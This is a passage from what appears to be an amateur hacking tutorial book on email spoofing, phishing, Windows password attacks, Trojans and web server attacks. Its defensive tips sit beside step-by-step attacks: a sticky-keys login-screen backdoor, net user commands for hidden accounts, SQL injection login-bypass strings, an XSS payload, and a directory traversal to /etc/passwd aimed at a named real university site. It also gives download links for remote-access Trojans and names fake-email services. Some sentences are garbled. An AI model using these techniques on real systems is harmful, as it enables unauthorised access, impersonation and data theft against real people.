  540. Emails. There are people who are the masters of these Email attacks and they always look for the innocent people
  541. who are not aware of these Email tricks and ready to get caught their trap.
  542.  You have to make sure that you are not an easy target for those people. You have to secure your Email identity
  543. and profile, make yourself a tough target.
  544.  If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in
  545. that Email account, because you do not know if someone gets your Email id password and uses your Email to send
  546. a threatening Email to the Ministry or to the News Channels.
  547.  Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in the
  548. attack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would have
  549. come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn
  550. Emails where the owner of the Email does not anything about the sent Email.
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  554. Email Spoofing
  555.  Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or
  556. somewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipients
  557. to open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.
  558.  There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internet
  559. is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel.
  560. Methods to send fake Emails
  561. Open Relay Server
  562. Web Scripts
  563. Fake Emails: Open Relay Server
  564.  An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows
  565. anyone on the Internet to send Email through it, not just mail destined ‘To’ or ‘Originating’ from known users.
  566.  An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email.
  567.  Open Relay Email Server requires no password to send the Email.
  568. Fake Emails: via web script
  569.  Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send
  570. Emails by programming Fake headers i.e.” From: To: Subject:”
  571.  There are so many websites available on the Internet which already contains these mail sending scripts. Most of
  572. them provide the free service.
  573.  Some of Free Anonymous Email Websites are:
  574.  Mail.Anonymizer.name (Send attachments as well)
  575.  FakEmailer.net
  576.  FakEmailer.info
  577.  Deadfake.com
  578.  www.hackingtech.co.tv/index/0-93
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  582. PHP Mail sending script
  583. Consequences of fake emails
  584.  Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life
  585. behind the iron bars.
  586.  Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend’s to be in relationship.
  587.  Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of.
  588.  There can be so many cases drafted on Fake Emails.
  589. Proving a fake Email
  590.  Every Email carry Header which has information about the Travelling Path of the Email
  591.  Check the Header and Get the location from the Email was Sent
  592.  Check if the Email was sent from any other Email Server or Website
  593.  Headers carry the name of the Website on which the mail sending script was used.
  594. Email Bombing
  595.  Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, the
  596. messages will be large and constructed from meaningless data in an effort to consume additional system and
  597. network resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.
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  601. Email Spamming
  602.  Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to lists
  603. that expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing all
  604. the original addressees to receive the reply. It may also occur innocently, as a result of sending a message to
  605. mailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message
  606. (such as vacation(1)) that is setup incorrectly.
  607. Email Password Hacking
  608.  There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy to
  609. compromise the Email server like Yahoo, Gmail, etc.
  610.  Email Password Hacking can be accomplished via some of the Client Side Attacks. We try to compromise the user
  611. and get the password of the Email account before it reaches the desired Email server.
  612.  We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishing
  613. attack'.
  614. Phishing
  615.  The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to
  616. scam the user into surrendering private information that will be used for identity theft.
  617.  The Email directs the user to visit a Web site where they are asked to update personal information, such as
  618. passwords and credit card, social security, and bank account numbers, that the legitimate organization already
  619. has. The Web site, however, is Bogus and set up only to steal the User’s information.
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  623. Phishing scams could be
  624.  Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
  625.  Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
  626.  Emails containing some Information of your Interest and asking you to Login to Your Account.
  627.  Any Email carrying a Link to Click and asking you to Login.
  628. Prevention against Phishing
  629.  Read all the Email Carefully and Check if the Sender is Original
  630.  Watch the Link Carefully before Clicking
  631.  Always check the URL in the Browser before Signing IN to your Account
  632.  Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.
  633. Email Tracing
  634.  Tracing an Email means locating the Original Sender and Getting to know the IP address of the network from
  635. which the Email was actually generated.
  636.  To get the information about the sender of the Email we first must know the structure of the Email.
  637.  As we all know the travelling of the Email. Each message has exactly one header, which is structured into fields.
  638. Each field has a name and a value. Header of the Email contains all the valuable information about the path and
  639. the original sender of the Email.
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  643.  For tracing an email Address You need to go to your email account and log into the email which you want to trace
  644. after that you have to find the header file of the email which is received by you.
  645.  You will get Source code of the email.
  646.  For Rediffmail-
  647.  For Yahoo mail-
  648. For Gmail-
  649. Now see from bottom to top and the first IP address you find is the IP address of the sender.
  650. Once you have the IP Address of the sender, go to the URL www.ip2location.com and Find the location of the IP Address.
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  654. And you are done we have traced the person.....
  655. And from where he had sent the email.
  656. Keystroke loggers
  657.  Keystroke Loggers (or Key loggers) intercept the Target’s keystrokes and either saves them in a file to be read
  658. later, or transmit them to a predetermined destination accessible to the Hacker.
  659.  Since Keystroke logging programs record every keystroke typed in via the keyboard, they can capture a wide
  660. variety of confidential information, including passwords, credit card numbers, and private Email correspondence,
  661. names, addresses, and phone numbers.
  662. Types of keyloggers
  663.  Hardware keylogger
  664.  Software keylogger
  665. Some Famous keyloggers
  666.  Actual Spy
  667.  Perfect Keylogger
  668.  Family Keylogger
  669.  Home Keylogger
  670.  Soft Central Keylogger
  671.  Adramax Keylogger
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  675. Securing your Email account
  676.  Always configure a Secondary Email Address for the recovery purpose.
  677.  Properly configure the Security Question and Answer in the Email Account.
  678.  Do Not Open Emails from strangers.
  679.  Do Not Use any other’s computer to check your Email.
  680.  Take Care of the Phishing Links.
  681.  Do not reveal your Passwords to your Friends or Mates.
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  685. 3. Windows Hacking and Security
  686. Security Architecture of Windows
  687.  There are three components of Windows Security:
  688.  LSA (Local Security Authority)
  689.  SAM (Security Account Manager)
  690.  SRM (Security Reference Monitor)
  691. LSA (Local Security Authority)
  692.  LSA is the Central Part of NT Security. It is also known as Security Subsystem. The Local Security Authority or LSA is
  693. a key component of the logon process in both Windows NT and Windows 2000. In Windows 2000, the LSA is
  694. responsible for validating users for both local and remote logons. The LSA also maintains the local security policy.
  695.  During the local logon to a machine, a person enters his name and password to the logon dialog. This information
  696. is passed to the LSA, which then calls the appropriate authentication package. The password is sent in a nonreversible
  697. secret key format using a one-way hash function. The LSA then queries the SAM database for the User’s
  698. account information. If the key provided matches the one in the SAM, the SAM returns the users SID and the SIDs
  699. of any groups the user belongs to. The LSA then uses these SIDs to generate the security access token.
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  703. SAM (Security Account Manager)
  704.  The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names and
  705. passwords. SAM is part of the registry and can be found on the hard disk.
  706.  This service is responsible for making the connection to the SAM database (Contains available user-accounts and
  707. groups). The SAM database can either be placed in the local registry or in the Active Directory (If available). When
  708. the service has made the connection it announces to the system that the SAM-database is available, so other
  709. services can start accessing the SAM-database.
  710.  In the SAM, each user account can be assigned a Windows password which is in encrypted form. If someone
  711. attempts to log on to the system and the user name and associated passwords match an entry in the SAM, a
  712. sequence of events takes place ultimately allowing that person access to the system. If the user name or
  713. passwords do not properly match any entry in the SAM, an error message is returned requesting that the
  714. information be entered again.
  715.  When you make a New User Account with a Password, it gets stored in the SAM File.
  716.  Windows Security Files are located at
  717. “C:\Windows\System32\Config\SAM”
  718.  The moment operating system starts, the SAM file becomes inaccessible.
  719. SRM (Security Reference Monitor)
  720.  The Security Reference Monitor is a security architecture component that is used to control user requests to
  721. access objects in the system. The SRM enforces the access validation and audit generation. Windows NT forbids
  722. the direct access to objects. Any access to an object must first be validated by the SRM. For example, if a user
  723. wants to access a specific file the SRM will be used to validate the request. The Security Reference Monitor
  724. enforces access validation and audit generation policy.
  725.  The reference monitor verifies the nature of the request against a table of allowable access types for each process
  726. on the system. For example, Windows 3.x and 9x operating systems were not built with a reference monitor,
  727. whereas the Windows NT line, which also includes Windows 2000 and Windows XP, was designed with an entirely
  728. different architecture and does contain a reference monitor.
  729. Windows user account architecture
  730.  User account passwords are contained in the SAM in the Hexadecimal Format called Hashes.
  731.  Once the Passwords converted in Hashes, you cannot convert back to the Clear Text.
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  735. Cracking Windows User Account password
  736.  Passwords are Stored and Transmitted in an encrypted form called a Hash. When a User logs on to a system and
  737. enters a password, a hash is generated and compared to a stored hash. If the entered and the stored hashes
  738. match, the user is authenticated (This is called the Challenge/Response).
  739.  Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Table
  740. attack.
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  747.  In this if we put the password and windows vey the password we entered on teen with the file in which the
  748. password is stored of ours.
  749.  This is stored in a file named SAM
  750.  It is shown in the picture above.
  751.  Now we need to attack this file.
  752.  For this we need to open this file but it is not possible as it is in process by the computer from its start up.
  753.  And we suppose that the file opens then also we cannot see the passwords stored in it because they are
  754. encrypted in the form of HASHES.
  755.  And they and not be decrypted. Ad it is the hardest encryption done and decryption is not easy.
  756.  But it is not impossible.
  757.  We Need a Bootable CD named Hiren boot and Can Crack the Password.
  758.  But Another Attack –
  759.  Go to C:\Windows\System32\
  760.  Copy the File cmd.exe to desktop and rename it to sethc.exe
  761.  Now copy the file sethc.exe to C:\Windows\System32\ and will give an error, give that error YES. And replace it.
  762.  Now You Are Done.
  763.  Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open.
  764.  In the command prompt type “explorer.exe” and Hit Enter a desktop will open in the tab mode.Use The Computer
  765. Unlimited….
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  769. Windows User Account Attack
  770. 1) To See all the account present on the computer
  771. 2) To change the password without knowing the old password.
  772. 3) To make a new user account.
  773. 4) To Delete the Existing user account.
  774. 5) To make a hidden account in computer.***** { Works only in windows XP}
  775.  Note: - To login to this Hidden Account Press
  776.  Ctrl + Alt + Delete + Delete
  777.  And give the hidden user name in the user name field and password respectively.
  778.  And the above are to be executed in command prompt. And the hacker indicates the respective user
  779. name. Or the name of the account.
  780. Counter Measures of Windows Attack.
  781. 1) Change the Boot Sequence in the BIOS setup. Keep Hard Disk As 1st boot drive, then CD/DVD drive as 2nd
  782. boot device & Removable port as the 3rd boot device.
  783. 2) Put the BIOS password.
  784. 3) Put the physical Lock behind the cabinet of PC. (Put Lock).
  785. Net user
  786. Net user administrator *
  787. Net user hacker /add
  788. Net user hacker /delete
  789. Net user hacker /add
  790. Net localgroup users hacker /delete
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  794. To hide a file behind an image.
  795. To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
  796. in a special way then you can open the hidden file behind the image.
  797. So to hide the file behind a image open CMD.exe
  798. 1) Select an image to be used for hiding file behind the image.
  799. 2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
  800. 3) And most important is that paste both the files on desktop and run the following command on the command
  801. prompt.
  802. 4) And then type the following command.
  803. cd desktop
  804. Copy /b imagename.jpg + filename.rar finalnameofimage.jpg
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  808. And then hit enter the file will be created with the file final file name of the image.
  809. Make a Private Folder
  810. To make Private folder which nobody can open, delete, see properties, rename.
  811. To make such a folder you need to make a folder with any name. For example- manthan on desktop.
  812. And then open command prompt and then type the following command on the screen.
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  815. Page 36
  816. Then type
  817. And hit enter the folder is locked
  818. To open the folder just: replace with: f
  819. And the folder is opened
  820. Cd desktop
  821. Cacls folder /E /P everyone:n
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  825. To run net user in Vista and Windows 7
  826.  Go to Start > Type CMD in Search Box
  827.  Right Click on CMD Icon and choose the option “Run as administrator”
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  831. Brute Force Attack
  832.  Brute force password guessing is just what it sounds like: trying a random approach by attempting different
  833. passwords and hoping that one works. Some logic can be applied by trying passwords related to the person’s
  834. name, job title, hobbies, or other similar items.
  835.  Brute force randomly generates passwords and their associated hashes.
  836.  There are tools available to perform the Brute force attack on the Windows SAM File. Most famous tool available
  837. for Windows User Account Password Brute forcing is Cain and Abel. Another one is Sam Inside.
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  841. Rainbow Table Attack
  842.  Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by building
  843. a table of hashes in advance of the actual crack. After this process is finished, the table, called a rainbow table, is
  844. used to crack the password, which will then normally only take a few seconds.
  845.  We can use the Live CD to crack the Windows password using the Rainbow table attack technique. Most famous
  846. Live CD available is Oph Crack.
  847. Oph Crack
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  851. Counter Measures for Windows Attack
  852. Creating Backdoors for windows
  853. Creating Hidden Accounts.
  854.  Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add
  855.  And then use the Command Net Local group Users Hidden user /delete
  856.  Log Off the Current User, Press ALT+CTRL+DEL combination 2 times to get the ‘Classic Windows User Login
  857. Screen’
  858.  Type the Username as Hidden user and Hit Enter, you will get Logged In
  859. Sticky Keys Backdoor.
  860.  Sticky Keys application can be used as the Backdoor in Windows Operating System.
  861.  Command Prompt file ‘CMD.EXE’ can be renamed to ‘SETHC.EXE’ in C:\Windows\System32 Folder.
  862.  After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt right
  863. there. Net User command can be used to modify User Accounts thereafter.
  864. “This trick will not work in Windows Vista and Windows 7”.
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  868. Change the Boot Sequence
  869.  You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CD
  870. first. It should be configured as Hard Disk as the First Boot Device.
  871.  This will protect your computer from the attacking Live CDs.
  872.  You may press Del or F2 Key at the System Boot to go to the BIOS Setup.
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  876. 4. Trojans in Brief
  877. This tutorial will include the understanding concept of Trojan, Dangers created by Trojans, how they can come to your
  878. computer, how do they destroy you and your data. How many types of Trojans are there, how Trojans are attached
  879. behind other applications and finally the most important, Detection of Trojan on your computer and their prevention
  880. to safeguard your system and your data.
  881. Knowing the Trojan
  882. A Trojan is a malicious program misguided as some very important application. Trojans comes on the backs of other
  883. programs and are installed on a system without the User’s knowledge. Trojans are malicious pieces of code used to install
  884. hacking software on a target system and aid the Hacker in gaining and retaining access to that system. Trojans and their
  885. counterparts are important pieces of the Hacker’s tool-kit.
  886. Trojans is a program that appears to perform a desirable and necessary function but that, because of hidden and
  887. unauthorized code, performs functions unknown and unwanted by the user. These downloads are fake programs which
  888. seems to be a original application, it may be a software like monitoring program, system virus scanners, registry cleaners,
  889. computer system optimizers, or they may be applications like songs, pictures, screen savers, videos, etc..
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  893.  You just need to execute that software or application, you will find the application running or you might get an
  894. error, but once executed the Trojan will install itself in the system automatically.
  895.  Once installed on a system, the program then has system-level access on the target system, where it can
  896. be destructive and insidious. They can cause data theft and loss, and system crashes or slowdowns; they can
  897. also be used as launching points for other attacks against your system.
  898.  Many Trojans are used to manipulate files on the victim computer, manage processes, remotely run commands,
  899. intercept keystrokes, watch screen images, and restart or shut down infected hosts.
  900. Different Types of Trojans
  901. 1. Remote Administration Trojans: There are Remote Access Trojans which are used to control the Victim’s computer
  902. remotely.
  903. 2. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the Victim’s computer, then
  904. find the data on the computer and send it to the attacker automatically.
  905. 3. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software
  906. running in the Victim’s computer.
  907. In most of the cases the Trojan comes as a Remote Administration Tools which turns the Victim’s computer into a server
  908. which can controlled remotely. Once the Remote Access Trojan is installed in the system, the attacker can connect to that
  909. computer and can control it.
  910. Some famous Trojans
  911.  Beast
  912. Download - http://u.to/ZSSk
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  916.  Back Orifice
  917. Download - http://u.to/hCSk
  918.  Net Bus
  919. Download it from – http://u.to/1SSk
  920.  Pro Rat
  921. Download it from – http://u.to/xCSk
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  925.  Girl Friend
  926. Download it from – http://u.to/AyWk
  927.  Sub Seven
  928. Download it from – http://u.to/FCWk
  929. Components of Trojans
  930. Trojan consists of two parts:
  931. 1. A Client component
  932. 2. A Server component.
  933. One which resides on the Victim’s computer is called the server part of the Trojan and the one which is on the attacker’s
  934. computer is called the client Part of the Trojan. For the Trojan to function as a backdoor, the server Component has to be
  935. installed on the Victim’s machine.
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  939. 1. Server component of the Trojan opens a port in the Victim’s computer and invites the Attacker to connect and
  940. administrate the computer.
  941. 2. Client component of the Trojan tries to connect the Victim’s computer and administrate the computer without the
  942. permission of the User.
  943. Wrapper
  944. A Wrapper is a program used to combine two or more executables into a single packaged program. The wrapper attaches
  945. a harmless executable, like a game, to a Trojan’s payload, the executable code that does the real damage, so that it
  946. appears to be a harmless file.
  947. Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. Wrappers are also
  948. known as Binders.
  949. Generally, games or other animated installations are used as wrappers because they entertain the user while the Trojan in
  950. being installed. This way, the user doesn’t notice the slower processing that occurs while the Trojan is being installed on
  951. the system—the user only sees the legitimate application being installed.
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  955. Mode of Transmission for Trojans
  956. Reverse Connection in Trojans
  957. Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. The Hacker can
  958. install a simple Trojan program on a system on the internal network. On a regular basis (usually every 60 seconds), the
  959. internal server tries to access the external master system to pick up commands. If the attacker has typed something into
  960. the master system, this command is retrieved and executed on the internal system. Reverse WWW shell uses standard
  961. HTTP. It’s dangerous because it’s difficult to detect - it looks like a client is browsing the Web from the internal network
  962. Now the final part ….
  963. Detection and Removal of Trojans
  964. The unusual behavior of system is usually an indication of a Trojan attack. Actions/symptoms such as,
  965. • Programs starting and running without the User’s initiation.
  966. • CD-ROM drawers Opening or Closing.
  967. • Wallpaper, background, or screen saver settings changing by themselves.
  968. • Screen display flipping upside down.
  969. • Browser program opening strange or unexpected websites
  970. All above are indications of a Trojan attack. Any action that is suspicious or not initiated by the user can be an indication
  971. of a Trojan attack.
  972. One thing which you can do is to check the applications which are making network connections with other computers.
  973. One of those applications will be a process started by the Server Trojan.
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  977. You also can use the software named process explorer which monitors the processes executed on the computer with its
  978. original name and the file name. As there are some Trojans who themselves change their name as per the system process
  979. which runs on the computer and you cannot differentiate between the Trojan and the original system process in the task
  980. manager processes tab, so you need PROCESS EXPLORER.
  981. TCP (Transmission Control Protocol) view
  982. • TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP
  983. (User Datagram Protocol) endpoints on your system, including the local and remote addresses and state of TCP
  984. connections.
  985. • On Windows NT, 2000, and XP, TCP View also reports the name of the process that owns the endpoint.
  986. • Active connections will appear in Green Color. You can always Right Click on the check the properties of the application.
  987. • Once you have got hold of the Trojan application, you can Kill the active connection and the running process and then
  988. delete the physical application file. This will make you recover from the attack of Trojan.
  989. Countermeasures for Trojan attacks
  990. Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removal
  991. functionality. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before
  992. they can cause damage. Once a system is infected, it’s more difficult to clean, but you can do so with commercially
  993. available tools. It’s important to use commercial applications to clean a system instead of freeware tools, because many
  994. freeware removal tools can further infect the system. In addition, port monitoring tools can identify ports that have been
  995. opened or files that have changed.
  996. The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded
  997. from the Internet or open Email attachments from parties you don’t know. Many systems administrators don’t give users
  998. the system permissions necessary to install programs on system for the very same reason.
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  1002. 5. Attacks on Web servers and Security
  1003. Introduction to Web Servers
  1004. A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP).
  1005. • Served content usually is HTML documents and linked objects Images, Scripts, Text, etc.
  1006. • Web server has an IP address and possibly a domain name. For example, if you enter the URL
  1007. http://www.hackingtech.co.tv/mobile.html in your browser, this sends a request to the server whose domain name is
  1008. hackingtech.co.tv. The server then fetches the page named mobile.html and sends it to your browser.
  1009. Setting Up a Web Server
  1010. Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet.
  1011. There are many Web server software applications available.
  1012. • Software to setup a Web Server:
  1013. – Apache
  1014. – IIS
  1015. The Basic Process: How Web servers work
  1016. Let's say that you are sitting at your computer, surfing the Web. So you type that URL into your browser and press enter.
  1017. • And magically, no matter where in the world that URL lives, the page pops up on your screen.
  1018. • Web browser forms a connection to a Web server, requests a page and receives it.
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  1022. Attacks on Web servers
  1023. • Web Ripping
  1024. • Google Hacking
  1025. • SQL Injection
  1026. • PHP Remote Code Execution
  1027. • Cross Site Scripting
  1028. • Directory Transversal Attacks
  1029. Web Ripping
  1030. • Web Ripping is finding and extracting pictures and other media files from specified website URLs and save them to your
  1031. hard drive.
  1032. • Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site and
  1033. all its files and links.
  1034. • We can use Black Windows Web ripper for web ripping.
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  1038. Google Hacking
  1039. • As we all know, Google is a Search Engine.
  1040. • Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page.
  1041. • Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of text
  1042. within search results. Some of the more popular examples are finding specific versions of Vulnerable Web Applications.
  1043. • You can look for the particular File types, Password files and Directories. Even you can find out the IP based CCTV
  1044. Cameras.
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  1048. Intitle: Search For the Text In The title of the websites
  1049. This Search will give you the List of all the websites with Title Hacking.
  1050. Site: To Narrow the Search of specific Website.
  1051. This Search will give you the List of all the web pages from the website hackingtech.co.tv
  1052. FileType: Searching for the files of specific type.
  1053. This Search will give you the List of all the website link containing the MS Word Document of the name hacking.
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  1057. To Find the CCTV all over the world.
  1058. This Search will give you the List of all the website links for the CCTV cameras over the World.
  1059. The More commands for the CCTV cameras Will be explained in the later part of the book.
  1060. Protecting Your Files from Google
  1061. • A robots.txt file restricts access to your site by search engine robots that crawls the web. These bots are automated, and
  1062. before access pages of a site, they check to see if a robots.txt file exists that prevents them from accessing certain pages.
  1063. • You need a robots.txt file only if your site includes content that you don't want search engines to catch. If you want
  1064. search engines to index everything in your site, you don't need a robots.txt file (not even an empty one).
  1065. Example of Simple ROBOT.txt file.
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  1069. Cross Site Scripting (XSS)
  1070. • Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow
  1071. code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML
  1072. code and client-side scripts.
  1073. • An exploited Cross-Site Scripting vulnerability can be used by attackers to bypass access controls such as the same origin
  1074. policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits.
  1075. Cross site scripting was originally referred to as CSS, although this usage has been largely discontinued.
  1076. The ratio of XSS attack is very large as compared to other attacks performed.
  1077. Example of a Cross Site Scripting attack
  1078. As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is
  1079. a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text
  1080. you are looking for.
  1081. Example:
  1082. Search Results for "XSS Vulnerability"
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  1086. To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the
  1087. URL would look like:
  1088. http://test.searchengine.com/search.php?q=XSS%20
  1089. Vulnerability
  1090. Next we try to send the following query to the search engine:
  1091. <script type="text/javascript"> alert (‘this is an XSS Vulnerability') </script>
  1092. By submitting the query to search.php, it is encoded and the resulting URL would be something like:
  1093. http://test.searchengine.com/search.php?q=%3Cscript%3
  1094. Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2
  1095. 9%3C%2Fscript%3E
  1096. Upon loading the results page, the test search engine would probably display no results for the search but it will display a
  1097. JavaScript alert which was injected into the page by using the XSS vulnerability.
  1098. How to check for Cross site scripting vulnerabilities
  1099. To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawl your
  1100. entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are
  1101. vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web
  1102. application scanner will also check for SQL injection & other web vulnerabilities.
  1103. You Will Be explained more about this attack in the later part of the book in website hacking category..
  1104. Directory Traversal Attack
  1105. • Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list to
  1106. gain access to restricted files and even manipulate data.
  1107. • These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page. If your
  1108. Web site is vulnerable, and chances are it is, the server will return with a file that hasn't been properly validated. A
  1109. malicious user will then send a request for a file one or more directories up by adding one or more "../" directives to the
  1110. string. Each "../" instructs the page to "go up one directory."
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  1114. Example of a directory traversal attack via web application code
  1115. In order to perform a directory traversal attack, all an attacker needs is a web browser and some knowledge on where to
  1116. blindly find any default files and directories on the system.
  1117. The following example will make clear everything
  1118. Visit this website vulnerable to directory transversal attack
  1119. http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php
  1120. This web server is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains
  1121. configuration files of programs that run on system. Some of the files are passwd, shadow, profile,sbin placed in 'etc'
  1122. directory.
  1123. The file etc/passwd contains the login names of users and even passwords too.
  1124. Lets try to access this file on web server by stepping out of the root directory. Carefully see the position of directories
  1125. placed on the web server.
  1126. We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked them
  1127. as A,B,C,E or whatever.
  1128. We are in directory in F accessing the web pages of website.
  1129. Let’s type this in URL field and press enter
  1130. http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd
  1131. This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing now type
  1132. http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
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  1136. Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing Now type
  1137. http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd
  1138. Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing.
  1139. So by proceeding like this, we go for this URL
  1140. http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd
  1141. It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.
  1142. To understand the contents of 'passwd' file, visit
  1143. http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
  1144. You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Some
  1145. files like etc/shadow may not be accessible because they are accessible only by privileged users.
  1146. If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.
  1147. Database Servers
  1148. • The Database server is a key component in a client/server environment. Specially the Websites which have a User Login
  1149. Architecture.
  1150. • Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the client
  1151. machines, it searches the database for selected records and passes them back over the network.
  1152. • Software to setup a Database Server:
  1153. – Oracle
  1154. – SQL Server
  1155. – MySql
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  1159. Login Process on the websites
  1160. Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account.
  1161. 1: You type in the Login Username and Password and clicks on Sign in and you get in to your account.
  1162. 2: Web Server receives the Username and Password and forwards it to the Database server.
  1163. 3: Database server receives the Username and Password from the Web Server and checks its tables for that Username
  1164. and Password and sends the result of the authentication to the Web Server.
  1165. 4: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects the
  1166. User to the proper Webpage.
  1167. • If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign In again.
  1168. SQL Injection
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  1172. • A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the
  1173. database and read, modify, or delete information.
  1174. • An example of a SQL injection attack is making the condition true by giving the identical value to a web page. These
  1175. values can be inserted into a login as follows:
  1176. • Login: 1' or '1'='1 and Password= 1' or '1'='1
  1177. • Login: 1' or '1'='1';--
  1178. • When the Username argument is evaluated, ‘1’=’1’ will assess to TRUE, and an authentic username will be returned.
  1179. The Systametic Execution of SQL injection is explained in the image below.
  1180. Input validation on the SQL Injection
  1181. • There are measures that can be applied to mitigate SQL injection attacks.
  1182. • Web developer can check whether some suspicious characters are sent from the Login Page like ‘, “, ;, -- , etc
  1183. • Always store the Passwords in the Database server in the Encrypted Form.
  1184. • Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more
  1185. difficult for Hackers to conduct these attacks.
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  1189. Input Validation can help prevent
  1190. PHP Injection: Placing PHP backdoors
  1191. • This attack provides the means for a Hacker to execute his or her system level code on a target web server. With this
  1192. capability, an attacker can compromise the web server and access files with the same rights as the server system
  1193. software.
  1194. • For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked user
  1195. commands to the eval ( ) function.
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  1199. PHP Eval() function
  1200. PHP Remote code Execution
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  1204. Directory Access controls
  1205. • Htaccess files provide a way to make configuration changes on a per-directory basis.
  1206. • Htaccess files should be used in a case where the content providers need to make configuration changes to the server
  1207. on a per-directory basis, but do not have root access on the server system.
  1208. Configuring .htacess
  1209. How Attackers Hide Them While Attacking
  1210. Proxy Servers
  1211. • A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that the
  1212. enterprise can ensure security, administrative control and caching service.
  1213. • Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target.
  1214. • So They hide their IP address by using the proxy server and make an anonymous brousing over internet.
  1215. • Please See the diagram for better understanding.
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  1219. Types of Proxy Servers
  1220. • Web Proxy
  1221. • Anonymous Proxy Server
  1222. Web Proxy Server
  1223. • A Proxy site is a web page which allows a user to browse other web sites.
  1224. • If an Attacker finds that he is blocked from accessing a Website, he will use any of web proxy sites to get bypass the
  1225. block.
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  1229. Anonymous Proxy Server
  1230. • An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web site
  1231. operators.
  1232. • In Anonymous Proxy, you get an IP Address and a Port Number. You have to configure that IP and Port with your Web
  1233. Browser and you will be surfing anonymously.
  1234. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  1235. this is for educational purpose only”.
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  1239. 6. Wireless hacking
  1240. Wireless network refers to any type of computer network which is wireless, and is commonly associated with a network
  1241. whose interconnections between nodes e.g. Laptops, Desktops, Printers etc is implemented without the use of wires.
  1242. The popularity in Wireless Technology is driven by two major factors: convenience and cost. A Wireless Local
  1243. Area Network (WLAN) allows workers to access digital resources without being locked to their desks. Mobile users can
  1244. connect to a Local Area Network (LAN) through a Wireless (Radio) connection.
